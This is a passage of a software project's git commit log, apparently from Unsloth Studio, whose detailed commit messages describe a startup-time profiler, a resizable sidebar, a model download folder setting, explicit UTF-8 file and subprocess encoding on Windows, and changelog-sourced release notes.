default healthz_timeout_s of 180 was the only recorded expectation.

scripts/profile_startup.py breaks a launch into phases: import cost via
python -X importtime in a subprocess (top cumulative contributors), process spawn
to first output, and spawn to /healthz 200, over N repeats with median and p90.

First numbers on Linux: importing the backend module costs 5.7 to 6.6 seconds
before the server can even bind, and it dominates everything else. That is eager
module-level imports pulled in by the routes package, not the hardware detection
I first suspected: utils.hardware is 23ms and does not pull torch.

--max-healthz-seconds exists so a budget can be enforced once per-platform
numbers are agreed. It is not wired into a gate yet, deliberately: a threshold
picked before the data is in would either be meaningless or flaky.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Profile the code under test, and let the profile fail

Both installer calls omitted --local, so every phase measured the published PyPI
backend and could not move when a PR edits main.py, run.py or routes. t_first_byte
was a dead local, advertised in the docstring but never returned, and the reader
could deadlock once the child filled the pipe. A failed launch and an impossible
budget both produced a warning and exit 0, and the importtime parse reported the
largest cumulative row, which is site, not main, so a raising import published a
number as success. Pin the controller to the profiled venv's interpreter.

* Stop the startup summary hiding failed launches

The aggregates cover only the runs that reached healthz, so two dead launches
and one fast one rendered as a normal fast startup, and an all-failed phase
printed nothing at all. With continue-on-error and no budget wired, that summary
is the only thing anyone sees. Say how many launches the number is made of, and
say so explicitly when none came up.

* Reject --repeats below 1

range(0) launches nothing, so the empty runs list reached the budget check as
"no healthz measurement", warned and exited 0: a gate that cannot fail. The
value comes straight from a dispatch input, so reject it loudly instead.

* Run the startup profile when the imported startup tree changes

The path filter listed main.py, run.py and routes/**, but the graph the
profiler measures is far wider: main.py imports auth, core, hub, loggers,
models, picker and utils at module scope, and routes/models.py imports
utils.utils and utils.hidden_models. A change to any of those moved
`import main` without ever running this job, so the regressions the
workflow exists to catch went unmeasured.

Cover studio/backend/** (tests excluded) and unsloth_cli/**, since the
launch phase spawns `unsloth studio --api-only` and the CLI is on the
process-to-healthz path.

* Read the labelled main row and kill the Windows launcher tree

total_seconds took by_cum[0], the largest cumulative row in -X importtime
output. That output also carries the interpreter's own startup graph (site,
encodings, whatever a venv sitecustomize pulls in), which is not part of
import main, and the two are not ordered by construction. With a trivial main
the old code reported site's 0.027s as "import main" while main actually cost
0.000249s. Today's backend dwarfs site so the published figures are unchanged,
but the headline number must not silently become another module's cost once
the backend imports get optimized, so read the row named main.

profile_launch spawned Scripts/unsloth.exe on Windows. A pip console-script
.exe is a distlib launcher stub that CreateProcess's the venv python and waits,
so terminate() reaped the stub and left the backend holding the inherited
stdout handle: the reader thread never saw EOF and burned the full 10s join,
and with --repeats each iteration stranded another server on the shared
UNSLOTH_STUDIO_HOME. Walk the tree with taskkill /T, matching the cleanup in
unsloth_cli/commands/start.py and unsloth/dataprep/synthetic.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail the startup budget when nothing was measured and fall back when taskkill fails

* Trigger on installer inputs and harden the startup gate tests

* Tighten comments in the startup profiler and its workflow

* Trigger the startup profile on the Studio setup scripts

install.sh --local runs the checkout's studio/setup.sh, install.ps1 reaches
studio/setup.ps1 through the editable install, and both call
install_python_stack.py, which decides the dependency set that gets imported.
Editing any of them could change startup time with no measurement taken.

* Shorten the startup profiler comments

Comments and docstrings only.

* Reject non-finite startup budgets and profile when the desktop argv changes

--max-healthz-seconds nan or inf parses as a float but compares False against
any median, so the gate reported success without bounding anything. Require a
finite value.

The profiler hardcodes the argv that process.rs::backend_args builds, but that
file was not in the trigger paths, so a change to the desktop launch command
scheduled no measurement. Add it, and anchor the two argv lists with a test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 22:24:34 -07:00
Michael Han
5e36548977
Studio: tighten the sidebar pill right inset (#7562)
The nav pills sat at pl-1.5 pr-2, so the gap to the right edge was 8px
against 6px on the left and read as visibly lopsided.

Drops the right inset to pr-1.75 (7px), leaving a 1px difference that no
longer catches the eye. Applied to all six pill containers so every pill
keeps the same width.
2026-07-28 22:17:05 -07:00
Michael Han
003e947c18
Studio: make the sidebar width draggable (#7561)
* Studio: make the sidebar width draggable

The sidebar was locked at 17.5rem. Long chat titles truncated early with
no way to trade content width for sidebar width.

Adds a drag handle on the sidebar edge. Drag to resize between 264px and
480px (also capped at 40% of the window), click to collapse or expand,
arrow keys to nudge, Home to restore the default. The width persists in
localStorage next to the existing pin flag and syncs across tabs.

Dragging in stops at the minimum rather than collapsing, so an overshoot
while resizing cannot snap the sidebar shut.

The minimum is set by the header: the logo lockup and the search and
collapse buttons need ~258px. The wordmark now truncates instead of
letting the search icon ride over the logo when the UI font scale pushes
the lockup wider.

Resizing relayouts the whole shell, so the live width is painted straight
to the wrapper's custom property once per animation frame instead of on
every pointermove, and only committed to the store on release.

* Studio: address review on the draggable sidebar

Four fixes from the review:

Re-clamp on viewport change. The 40% window cap was only evaluated on
load and on an explicit set, so a stored 480px stayed 480px after the
window narrowed. The store now keeps the preference whole and derives an
effective width from it, recomputed on resize, so narrowing shrinks the
sidebar and widening restores the preference instead of discarding it.

Keep the DOM and the store in step when a drag does not commit. On
pointercancel, and on a collapsed-rail drag that never reached the
minimum, the live width was left painted on the wrapper without being
stored. Since the provider does not re-render, React never rewrote the
property and the next expand could render at the rail's 48px. Drag end
now hands the property back to the committed value; a commit re-renders
with the new width.

Feed the resized width to the custom titlebar. WindowTitlebar sits
outside the sidebar wrapper so it cannot inherit --sidebar-width, and it
was positioning its seam and drag region from a fixed 17.5rem. It reads
the same store now.

Mirror the handle for side="right". Placement, cursor, tooltip side and
the pointer delta all follow the configured side. Measuring the rail from
the sidebar container makes the start width side-agnostic too.

Adds unit tests for the clamp, including the viewport cap and the floor
winning when 40% falls below it.

* Studio: keyboard, aria and titlebar fixes for the sidebar edge

Three more from review, and the handle is extracted so the run settings
panel can reuse it.

Keyboard activation. The handle advertises collapse and expand in its
label, but that only ran from pointer-up, and a button's synthesized
click is swallowed by the tooltip trigger. Enter and Space now toggle,
and the outward arrow reopens a collapsed rail rather than returning
early, so a focused handle is not a dead end.

Announced maximum. aria-valuemax was the absolute 480 even when the 40%
viewport cap put the real limit lower, so a screen reader offered
adjustment that could not happen. The store now exposes the effective
maximum and recomputes it on resize.

Titlebar during a drag. The custom titlebar reads the committed store
value, so its seam sat still while the sidebar moved. The drag now
mirrors the live width onto the root for it to read, and clears it on
release.

The drag mechanics move to PanelResizeHandle and the store to a
createPanelWidthStore factory. Behaviour is unchanged; both exist so the
run settings panel gets the same edge without a second copy.

* Studio: keep the stored width when a drag is viewport-capped

Dragging outward while the 40% cap is active committed the capped value,
so a 480px preference became 320px on a narrow window and never came
back when the window widened again.

The drag now commits what the pointer asked for rather than what was
painted. setWidth still clamps to the absolute range, so a deliberate
inward drag is honoured as before; only the capped case stops writing a
smaller preference than the user chose.

* Studio: review fixes for the panel resize handle

Five more from review.

Stale width after a resize with nothing mounted. With no subscribers
there is no resize listener, so a resize on /login or /onboarding left
the cached width and cap stale, and returning to the app restored the
old width past the viewport cap. The store now recomputes when a
subscriber attaches.

Capped outward drags no longer lower the stored preference. The drag
starts from the effective width, so with 480 stored in a capped window a
small outward pull committed a smaller number and discarded the
preference for good. The commit and the outward arrow now leave it alone
when the panel is already pinned at the cap. A deliberate inward drag
still commits.

Keyboard focus was invisible. The app zeroes the native outline on
buttons, so a tabbed handle showed nothing at all. It now paints its line
on focus-visible and opens the hint.

Collapsed aria. The separator reported 264 as its current value while the
rail renders at 48 and may restore to something else entirely. The range
attributes are dropped when collapsed, leaving the label to describe it.

Localised copy. The tooltip is visible text and was hardcoded English in
all eleven locales. The strings are props now, supplied through the
translation layer, with keys added across every locale.

* Studio: support click activation and fix collapsed role

Two more from review.

Switch and voice control activate a control by dispatching a bare click
with no pointer or key events. Everything here hung off pointer-up or
keydown, so those users could not toggle the panel at all. There is now a
click path, guarded so the click the browser sends after a real pointer
release does not toggle a second time.

The guard is set when any sequence ends, not only on release: a cancelled
drag also ends without a toggle, and its click would otherwise collapse
the panel. The suite caught that on the first attempt.

A focusable separator is an adjustable widget and needs a current value.
Dropping the range attributes while collapsed left an invalid range
control, so it reports as a button when closed and a separator with a
value when open.

* Studio: only suppress the click after a real pointer sequence

endDrag doubles as the effect cleanup, so setting the guard there
unconditionally swallowed the first click from switch or voice control
when no drag had happened. It now only arms after a sequence that
actually started, whether it ended in a release or a cancel.

* Studio: do not arm the click guard on keyboard toggles

preventDefault cancels the native synthesized click, so nothing followed
to guard against and the flag stayed set. The next switch or voice
activation was then read as a duplicate and ignored.

* Make the resize handle click guard self-healing

A canceled drag emits no compatibility click, so the boolean guard stayed
armed and swallowed the next click from a switch or voice control. Record
when the pointer sequence ended instead and ignore only a click that lands
inside the browser's compatibility window.

* Clear the stored sidebar width on preference reset

Reset all local preferences dropped every other UI key but left
sidebar_width, so the reload restored the old width instead of the
default.

* Guard that persisted panel widths stay in the reset list

* Tighten the sidebar header actions and lower the width floor

The search and collapse buttons carried 8px of padding each side of a 16px
icon, so the pair read as one wide block. Narrow them to 28px and close the
gap to 1px, which brings the glyphs from 18px apart to 13px.

That frees room in the header lockup, so the drag floor drops from 264px to
260px. 260 is the narrowest width that leaves the wordmark unclipped in
Firefox, which renders it ~3px wider than Chromium and WebKit.
2026-07-28 22:16:32 -07:00
Michael Han
5b73c9c5b5
Studio: make the model download folder reachable from the Hub, and findable in search (#7466)
* Studio: make the model download folder reachable from the Hub, and findable in search

The only control for where models download lived in Settings > System >
Storage, labelled "Model downloads". Settings search matched a row's visible
label only, so "models folder", "directory", "path" and "drive" all returned
nothing, and users concluded the location could not be changed at all.

Hub > On-device locations now leads with a Download location row: current
path, Change (folder browser on web, native picker on desktop), Use default,
free space, and a note when HF_HOME pins it. That dialog is where people
already look for where models live, but it only managed read-only scan
folders. Changing the location refreshes the inventory.

Settings search now also matches per-row keyword aliases, so "folder",
"directory", "path", "location", "drive", "disk" and "cache" find the row.
Relabels it "Models folder" and says it can be moved off the system drive.
Adds the German strings for the block, which fell back to English.

* Re-read the download location on every open, and drop it when the read fails

The dialog stays mounted between opens, so a reopen that hit a failing or slow
GET /api/settings/hugging-face-cache kept showing the previous path with Change
and Use default still enabled, as though it had just been confirmed.

The loaded flag is re-armed on each open and a failed read now clears the
settings, so the field falls back to Unknown and both buttons disable until a
read succeeds.

* Let the inventory version bump be the only refresh after a cache move

updateHuggingFaceCacheSettings already bumps the inventory version, which
re-fetches every source. Calling onInventoryChange as well started a second
round under the previous version, and the differing keys meant the two could not
be deduplicated, so moving the folder scanned everything twice.

The settings Resources tab already relies on the bump alone for the same call.

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
2026-07-28 22:00:50 -07:00
Daniel Han
f4f36a0d2d
Anchor the bnb bind assertion on the symbol, not the module alias (#7590)
#7578 and #7580 landed within a minute of each other and compose correctly in
kernels/utils.py, but the source-text assertion #7578 added does not: it looked for
the literal "bnb.functional.lib" under the guard, and #7580 renamed that binding to
"bnb_functional.lib" to survive a half-imported bitsandbytes. Git merged both cleanly
because they touch different lines, so the break only shows at test time.

Match "lib.cdequantize_blockwise_fp32" instead. That still pins the binds to the guard,
which is what the test is for, and no longer breaks when the module alias changes.

Co-authored-by: unslothai <unslothai@gmail.com>
2026-07-28 21:35:04 -07:00
Michael Han
a00fe86c13
Studio: read model text as utf-8 so umlauts survive on Windows (#7467)
* Studio: read model text as utf-8 so umlauts survive on Windows

Chat rejects or mangles non-ASCII on Windows: "ä ö ü" in a prompt, a chat
template, or a model path comes back as mojibake, or the load dies with
UnicodeDecodeError.

open() and Path.read_text() fall back to locale.getencoding() when no encoding
is passed. On Windows that is the ANSI codepage (cp1252, cp932, cp1251, ... by
system locale), never UTF-8. Hugging Face writes these files as raw UTF-8, so
every read of one decodes with the wrong codec:

- tokenizer_config.json, which holds the chat template. Templates routinely
  carry -> arrows, smart quotes and CJK, so this is the common path into chat
- config.json and adapter_config.json
- modules.json, Ollama manifests, and the .py sources the remote-code scanner
  reads before a model is allowed to load

The llama-server and embedding-server stdout readers have the same problem via
subprocess(text = True); they now decode utf-8 with errors = "replace" so a
stray byte cannot kill a log reader.

Encoding arguments only, no logic changes.

tests/test_chat_text_encoding.py covers a config.json and a chat template
holding umlauts, arrows and CJK, plus the remote-code scanner reading a source
file with umlauts. Those pass anywhere the locale is already UTF-8, so a fourth
test re-runs the readers under -X warn_default_encoding and fails on any
platform if an encoding argument goes missing again.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: name utf-8 explicitly on the remaining text I/O, with an AST guard (#7465)

* Studio: name utf-8 explicitly on the remaining text I/O

Follow-up to the model-text reads in #7467, covering the rest of the backend:
system probes (nvidia-smi, amd-smi, powershell, git, node), package installers,
/proc and /sys readers, and internal marker files (pid, install id, bootstrap
password, Colab credentials).

Same reason as #7467. open(), Path.read_text()/write_text() and
subprocess(text = True) fall back to locale.getencoding(), which on Windows is
the ANSI codepage rather than UTF-8. These paths are mostly ASCII today, so this
is hardening, not a live bug. Encoding arguments only, no logic changes.

Adds tests/test_text_io_encoding.py: an AST guard walking every backend source
and asserting text I/O names its encoding, so the class of bug cannot creep back
in one call at a time. 275 files.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Catch aliased subprocess and positional Path.open, migrate legacy JSONL

The guard only matched a receiver literally named subprocess, so worker.py's
`import subprocess as _sp` hid three text = True installs that decode pip
output with the ANSI codepage. It also skipped any .open() with more than one
positional argument, though Path.open takes buffering/encoding/errors/newline
positionally.

Resuming a scrape written by an older release is the other half: those JSONL
lines are in the locale codepage, so the UTF-8 preload raised, the dedup keys
were silently forgotten and duplicates were appended to a now mixed-encoding
file. Decode with the locale codepage as fallback and rewrite as UTF-8 before
the append handle opens, since Windows cannot replace a file it holds open.

* Stream the JSONL preload and keep a torn line from relabelling the shard

Reading the whole shard to migrate it was wrong twice over. These files reach
gigabytes on a large scrape, so the preload now streams line by line and the
rewrite streams through a temp file.

Worse, one interrupted append used to condemn the file: the whole-file UTF-8
decode failed, every byte was retried as cp1252, and the rewrite persisted
mojibake over records that were fine. A line now counts as legacy only if the
locale codepage both decodes it and yields valid JSON, which a torn UTF-8 line
does not. Damaged lines are skipped and copied through byte for byte.

When the rewrite cannot be written at all, the append handle opens with the
legacy encoding rather than mixing UTF-8 into the file.

install_wheel takes run = subprocess.run as a parameter, so the guard cannot
see it. Both wheel installs there now name their encoding.

* Decide the shard's encoding from the file, not one line at a time

Some byte strings parse both ways. cp1251 `Р°` is D0 B0, which is also valid
UTF-8 for `а`, so a UTF-8-first parse quietly showed the wrong text instead of
migrating it.

A line now yields both readings, and the file decides. Any line that parses
under the codepage but not as UTF-8 is unambiguous evidence, and ambiguous lines
then follow that verdict, which is enough for any real shard: ordinary Cyrillic
or Japanese prose is invalid UTF-8 several times per line. Keys for ambiguous
lines are re-derived from the legacy reading during the rewrite.

A shard is undecidable only if every line is ambiguous, and nothing can tell
those apart.

latin-1 is also tried after the locale codepage, so a scrape carried from
Windows to a UTF-8 machine still has a reading rather than none. Requiring valid
JSON, not just a decode, keeps that from claiming torn lines.

* Weigh the whole shard, and never lose a record on the fallback path

One structurally valid JSON line carrying a stray 0x96 parses as cp1252, so a
single-line verdict let it relabel a healthy shard and mojibake every good
record in it. Each line with non-ASCII bytes now votes: parsing only under the
codepage is evidence for legacy, parsing as UTF-8 is evidence against, since
codepage text rarely forms valid multibyte UTF-8. Ties leave the file alone.

When the migration cannot be written the append handle uses the legacy codepage,
and errors = "replace" quietly turned characters it cannot hold into question
marks while write() still reported success. That path now escapes to \uXXXX
instead, which is ASCII, so every codepage holds it and json.loads returns the
exact characters. Nothing needs replacing, so errors = "strict" is safe.

stream_installer runs sys.executable, so its output is now decoded as UTF-8 by
utf8_child_env rather than read as the ANSI codepage.

* Only rewrite a shard we can attribute, and append ASCII when we cannot

latin-1 was doing too much work. It reads any byte, so it gave a moved shard a
reading, but it is the right text only for cp1252: cp1251 Привет came back as
Ïðèâåò and the rewrite made that permanent. The codepage is now trusted only
when it is the locale's, and an untrusted reading is never written back.

That leaves three cases where the file holds bytes UTF-8 cannot read and we are
not converting it: no codepage to attribute it to, ambiguous lines outvoting the
unambiguous ones, and a preload that could not read the file at all. All three
used to append UTF-8 into it. They now append pure ASCII, which every
ASCII-compatible codepage stores identically, so the file keeps decoding exactly
as it did and no record is lost.

Keys from the two readings are also kept apart. A damaged line in a healthy
shard was marked seen through its codepage reading, so the retry that would have
replaced the unreadable record was refused as a duplicate.

* Let the flash-attn install stub take the kwargs the installer now passes

_run_kwargs gained encoding and errors, so the one stub in this file that
spelled its signature out rejected the call. The other four here already take
**kwargs; this one now matches.

* Do not let a stuck temp file mask the migration failure

unlink() on the failure path could raise in its own right, on a stale
.utf8.tmp directory or a temp another process holds. That escaped the
constructor instead of returning False, so the caller never reached the ASCII
append fallback that keeps the shard single-encoding.

The pip fallback in install_wheel also spawns a Python child, so it gets
utf8_child_env like the probe above it already had. The uv and nvidia-smi
children are native binaries, where PYTHONIOENCODING would do nothing.

* Stop converting legacy shards; the encoding that wrote them is unknowable

trusted only ever meant that the bytes parse under this machine's codepage,
which for a single-byte codepage is nearly always true. A cp1251 shard opened on
a cp1252 Windows box decodes cleanly and would have been rewritten with Привет
as Ïðèâåò. That is the fourth way this rewrite could corrupt a shard, and the
common cause is that a file's encoding cannot be recovered from its bytes.

So the rewrite is gone. The shard is left exactly as found, and appends are pure
ASCII whenever it holds bytes UTF-8 cannot read, which is what actually
delivered the no-mixed-encoding guarantee the rewrite was added for. Dedup keys
still come from whichever reading parses, since ids are ASCII either way.

This also removes the temp file, so there is no longer any file mode or ACL to
carry across.

* Scan the sandbox shim; it is shipped code, not a build artifact

sandbox_site is on the sandboxed child's PYTHONPATH for every Python run
(tools.py:332, 2660), so excluding it let two unannotated text calls through in
code we ship. Both read and write the remap sidecar, which holds file paths.

The exclusion list is meant for build output only, so the directory comes off
it and the two calls name their encoding.

* Force the worker's pip children to UTF-8, and read DBCS keys with a DBCS codec

The three installer calls run sys.executable -m pip with an inherited
environment, so the parent decoded UTF-8 while the child emitted the ANSI
codepage. They now go through utf8_child_env like the other Python children.

Two tests asserted no env kwarg was passed as a stand-in for no HIP flag being
injected. They now assert the flag itself, which is the guarantee they were
written for and does not depend on how the env is delivered.

Separately, latin-1 cannot stand in for a double-byte codepage while recovering
dedup keys: cp932 表 is 95 5C, and the trail byte reads as a JSON backslash, so
the record failed to parse and its id was forgotten, appending a duplicate on
resume. cp932, cp936, cp949 and cp950 are tried too. The reading is still only
ever used for keys, which are ASCII and identical whichever codec parses.

* Require more than one legacy line before trusting its dedup keys

A shard whose valid records are all ASCII casts no UTF-8 votes, so a single
damaged line won the vote by itself, its key was remembered, and the retry that
would have replaced the unreadable record was refused.

One such line is genuinely undecidable: a legacy record with one accented
character and an ASCII record with one stray byte are the same shape. Reading it
as damage costs a duplicate; reading it as legacy loses the record for good.
Only one of those is recoverable, so it is now read as damage.

A real legacy shard has a legacy line for every record carrying an umlaut, so
its dedup is unaffected.

* Append ASCII whenever the shard already holds non-ASCII bytes

The gate asked whether any line was undecodable as UTF-8, which misses a shard
where every legacy line happens to be valid UTF-8 too. A cp1251 shard of Р°
records is bytes D0 B0 throughout, so appending 世界 as UTF-8 left a file where
cp1251 reads the old records correctly and the new one as mojibake, and UTF-8
does the reverse. No single decoding recovered the whole scrape.

The gate is now simply whether the shard holds any non-ASCII byte at all, which
covers both cases and is easier to reason about: if what is already there reads
differently under different encodings, do not add more bytes that do.

Appending ASCII costs only \uXXXX escapes, which json.loads turns back into the
exact characters, and it leaves the new record correct under either reading.

* Skip the two Linux-gated flash-attn tests off Linux

_should_try_runtime_flash_attn_install ends in sys.platform.startswith(
"linux"), and the threshold test one line above already asserts exactly that,
so the two tests that drive _ensure_flash_attn_for_long_context past the gate
cannot pass anywhere else: the call returns before it reports a status. They
were written on Linux and only surface once the suite actually runs on Windows
or macOS, where both fail on an empty status list. This PR is about making the
backend behave on Windows, so its own suite should be runnable there.

* Fail closed when a KFD topology node does not decode

This PR pins that read to utf-8, which turns an undecodable byte into
UnicodeDecodeError. That is a ValueError, not an OSError, so it slips past the
handler one line below and escapes a helper whose docstring promises to fail
closed on any unreadable node. The caller would then lose the whole HIP-order
map on a machine that has AMD GPUs, and the reason the helper fails closed is
that dropping a node shifts every later ordinal and lets a similar-capacity GPU
pass the total-size guard while showing another card's usage.

Widening the handler is the same one-line change main already made in #7487, so
the two agree and the eventual merge is clean.

* Tighten the comments added in this branch

* Treat an undecodable marker and undecodable metadata as malformed, not fatal

Two more places where pinning the decode changed the failure mode. A
UnicodeDecodeError is a ValueError, so neither `except OSError` nor
`except (JSONDecodeError, OSError)` catches it, and both sites had a documented
fallback that stopped being reached.

An undecodable .transport marker used to read as an unknown value, and the
caller then safely purged and restarted the partial download. It now aborts
prepare_cache_for_transport instead, so the transfer fails rather than retrying.

Undecodable .meta.json used to fall back to the file's own name, the same way
invalid JSON does. It now aborts URI construction for the entire unstructured
seed, so one corrupt byte in original_filename takes out the whole dataset.

Both handlers are widened, matching the KFD fix earlier on this branch.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Widen two more decode guards, and pin the kernel installer's pipe

Same shape as the ones already fixed here: the read was pinned to UTF-8 while
the handler around it still only catches OSError, and UnicodeDecodeError is a
ValueError.

hf_cache_snapshot_dir answers whether a model is already on disk, and the
offline embedding checks turn a raise into a 500. A torn refs/main used to
decode into a nonsense commit and miss the snapshot dir; it now skips that cache
root and keeps looking. _remove_pid_file runs first in _graceful_shutdown, so a
corrupt studio.pid raising there abandoned the inference, export, training and
tunnel children the rest of that function exists to kill.

ssm_runtime's source-build path builds its subprocess kwargs in a dict and
splats them through _run_with_heartbeat, so neither the encoding guard nor the
earlier sweep saw the text = True in it: pip's output was still decoded with the
Windows ANSI codepage, where a non-ASCII path or a compiler diagnostic mojibakes
or raises over an install that was going fine. It now pins the same
utf-8/replace pair install_wheel uses, and the HIP branch extends that env
rather than replacing it. The guard learned the dict-literal shape and reddens
on the old code (ssm_runtime.py:253).

* Tighten the comments around the UTF-8 text I/O pins

Collapse the multi-line rationales added with the encoding pins down to a
line or two each, drop what the code already says, and use one wording for
the repeated child-env note.

* Do not let an unreadable bootstrap password stop startup, and narrow the kwargs guard

ensure_default_admin calls _load_bootstrap_password for every existing admin and
the lifespan calls that with no handler, so pinning the decode turned a damaged
or pre-pin .bootstrap_password file into a backend that will not start. We write
that file ourselves in UTF-8, so a byte that will not decode belongs to a file
whose plaintext is worthless anyway; it now reads as no bootstrap password, the
same answer as an absent file. A readable one still loads.

The new kwargs check also judged every dict literal in the tree, so an unrelated
payload carrying "text": True would have been reported as subprocess
configuration with a misleading message, and a dict that fills in its encoding on
a later line would have been reported too. It now only judges a dict that
actually reaches a call, either splatted through a name or written at the call
site, and treats a later kw["encoding"] assignment as satisfying it. The
ssm_runtime shape it was written for is still caught, and a test pins both
directions.

* Stop reading a UTF-8 record a second time

_read_line always parsed the line under the codepage as well, even when it had
already read as UTF-8. Both callers take the UTF-8 reading when there is one and
never look at the other, so on a healthy shard the second parse is pure waste,
and this file reads all of one on every resume of a scrape it expects to reach
gigabytes. Measured on 200,000 records, 76 MB: 1.96s before, 0.81s after, so the
double reading was costing 2.8x.

The early return is limited to a record, since the key lookup deliberately falls
through to the codepage reading when UTF-8 yields something that is not one. A
line UTF-8 cannot read still tries the codepage, latin-1 and the double-byte
encodings as before, which is what the second reading is for.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pin the scanned source fixture's line endings

test_remote_code_scan_reads_non_ascii_sources compared a file's contents against
the string it wrote, but wrote it in text mode, so Windows translated the line
ends on the way out and the read back differed by a carriage return. That is the
writer's doing, not the encoding the test is about, and it was the one failure on
the Windows runner that belonged to this branch. The fixture now writes with
newline = "" so the bytes on disk are the string on every platform.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim the newer comments to their point

Shorten the widened-guard and state store notes added since the last pass,
and collapse the line-ending note on the scanned source fixture.

* Read the scraper checkpoint as UTF-8 only, never as a codepage

A checkpoint holds nothing but base64 cursors and booleans, so one written by
an older locale-encoded release is byte-identical to a UTF-8 one and already
reads back. The codepage fallback can therefore only ever contribute non-ASCII:
if a single-byte reading of the file were all ASCII, the UTF-8 read would have
succeeded first.

So the only file it changes the answer for is a damaged one, and there it turns
a safe reset into a resume on a mojibaked cursor. GitHub answers that with
INVALID_CURSOR_ARGUMENTS at HTTP 200, gh_client returns the partial document,
and the scraper reads zero nodes and an empty pageInfo, which marks the stream
done. Every later resume then skips it entirely.

Reading UTF-8 only restores the earlier behaviour of dropping a checkpoint that
will not decode, which re-scrapes from the first page while the writers dedup
the replay. The shard scan below keeps its codepage reading; those records do
carry non-ASCII.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the remaining tilelang install tests to Linux

_tilelang_platform_supported() returns False off Linux, so _ensure_tilelang_backend
returns before the install and the subprocess mock these six assert on is never
called. They fail on macOS runners for that reason alone. The rest of the file
already carries this marker; these were missed.

* Gate the Windows-incompatible worker and ROCm tests

Two different gates, because the production code has two. The causal-conv1d and
flash-linear-attention installers bail out on sys.platform == 'win32' alone and
run everywhere else including macOS, so those cases get not_on_windows; marking
them linux_only would skip tests that legitimately pass off Linux. The DRM and
KFD readers return early unless platform.system() is Linux, and their fixtures
build a fake sysfs tree needing PCI addresses like 0000:00:02.0 as directory
names, which Windows cannot represent, so those get linux_only.

The two visible-utilization cases failed for a different reason: on Windows
get_visible_gpu_utilization takes the AMD adapter branch ahead of the torch
fallback under test, and probing it imports torch, which the runner lacks.
Stubbing that branch empty leaves every other platform unchanged.

* Treat unparseable JSON nesting as a parse failure, and guard os.fdopen

json.loads answers nesting it cannot descend with RecursionError, a
RuntimeError, so _parse let it escape where the catch-all it replaced
discarded the record. Both callers run _parse outside any further handler,
so one damaged checkpoint or shard line aborted the scraper at startup.

The encoding guard also missed os.fdopen, which is open() on a descriptor
and takes the same locale default in text mode. It flags exactly the two
text-mode calls that were left unencoded; the swap lock file's reader was
already pinned to UTF-8 while its writer still used the codepage.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Write the non-ASCII source fixture without a 3.10-only argument

Path.write_text() only grew newline in 3.10, and pyproject declares
requires-python >=3.9, so this raised TypeError there. open() takes the same
argument on every supported version and pins the bytes on disk the same way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten encoding comments

* Follow subprocess calls through callable aliases in the encoding guard

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-28 21:27:27 -07:00
Michael Han
d74d03d350
Show release notes in the update popup, sourced from CHANGELOG.md (#7432)
* Show release notes in the update popup, sourced from CHANGELOG.md

The update banner only linked out to the online changelog, so there was no
way to see what an update contains before taking it.

Add CHANGELOG.md at the repo root as the source of release notes. Studio
reads it from the default branch, so editing the file updates the popup
without a release or rebuild, and falls back to the copy bundled in the
install when the repo is unreachable.

Notes are matched to one exact version. The popup asks for the version it is
offering and gets that section or nothing, so an older release's notes can
never appear next to a newer update. When there is no match the popup links
out to the online changelog instead.

The collapsed popup previews the top bullets with the leading sentence
highlighted; "Show release notes" expands the full notes in a scrollable
panel. Applies to both the browser and desktop banners, and the desktop
updater's own release body is used when CHANGELOG.md has no matching section.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: fence matching, nested bullets, BOM, updater notes field

Track the opening fence marker and length so a ``` sample inside a ````
block does not close it early and let the sample's heading be indexed as a
real release.

Preserve list indentation in the preview and take only top-level bullets, so
nested detail no longer consumes the four headline slots.

Strip a UTF-8 BOM before parsing. An editor on Windows can leave one on the
first line, which hid a section whose heading started the file.

Read `notes`/`pub_date` from latest.json in the manual Linux updater path,
with aliases for the older `body`/`date`. The workflow publishes Tauri's
field names, so the manual path's release body was always empty. Also loop
the preview tag strip until stable for CodeQL js/incomplete-multi-character
-sanitization; the value renders as text, so this is defence in depth.

* Address review: bare fence closers, HTML comments, underscores, notes URL

A closing fence must carry nothing after the delimiter, so a ```` line with
trailing text inside a ```` block is content rather than the end of it. Both
the parser and the preview extractor follow that rule now.

Skip headings inside HTML comments. A commented-out section is not rendered
by Markdown, so it must not be indexed as a release.

Strip only paired emphasis and park code spans first, so identifiers keep
their underscores: UNSLOTH_DISABLE_UPDATE_CHECK was previewing as
UNSLOTHDISABLEUPDATECHECK.

Prefer the caller's release URL over the API's generic changelog link, so the
desktop fallback points at the release page for the version being offered.

Look at the repo-root CHANGELOG.md before the packaging snapshot, and remove
the snapshot after build.sh, so an edited root file is never shadowed by a
stale copy.

Also nudge the notes container radius from 16px to 14px.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: comparison operators, hidden comments, remote failures

Require a name character after "<" when stripping tags. A bullet reading
"Support Python <3.15 and >3.9" previewed as "Support Python 3.9", because
